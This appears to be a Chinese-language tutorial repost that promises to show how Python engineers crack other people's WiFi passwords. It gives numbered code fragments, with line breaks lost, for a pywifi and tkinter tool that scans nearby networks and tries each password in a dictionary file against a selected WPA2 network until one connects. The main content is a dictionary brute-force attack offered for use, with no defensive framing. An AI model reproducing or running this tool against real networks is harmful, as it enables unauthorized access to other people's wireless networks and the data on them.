現在每個家庭都有WiFi!大家都以為為了防止别人蹭WiFi密碼設置複雜一點,萬能鑰匙就破解不了!今天給大家看看python工程師是怎麼破解WiFi密碼的!今天利用python中的pywifi模塊來寫這個程序!上教程
一、獲取密碼文件的路徑
self.get_value = StringVar()
二、獲取WiFi賬号
self.get_wifi_value = StringVar()
三、獲取WiFi密碼
self.get_wifimm_value = StringVar()
四、抓取網卡接口
self.wifi = pywifi.PyWiFi()
五、抓取第一個無線網卡
self.iface = self.wifi.interfaces()[0]
六、測試連接斷開所有鍊接
self.iface.disconnect()
七、測試網卡是否屬于斷開狀态
assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
八、自動會調用的函數,返回自身的網卡
return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
九、搜索WiFi
#開始掃描print("^_^ 開始掃描附近wifi...")self.iface.scan()time.sleep(15)#在若幹秒後獲取掃描結果scanres = self.iface.scan_results()#統計附近被發現的熱點數量nums = len(scanres)print("數量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實際數據self.show_scans_wifi_list(scanres)return scanres
十、添加密碼文件目錄
self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)
十一、Treeview綁定事件
self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
十二、讀取密碼字典,進行匹配
def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正确=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---錯誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue
十三、對wifi和密碼進行匹配
#創建wifi鍊接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名稱self.profile.auth = const.AUTH_ALG_OPEN #網卡的開放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密單元self.profile.key = pwd_Str #密碼self.iface.remove_all_network_profiles() #删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#設定新的鍊接文件self.iface.connect(self.tmp_profile)#鍊接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #斷開time.sleep(1)#檢查斷開狀态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK
運行結果
更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!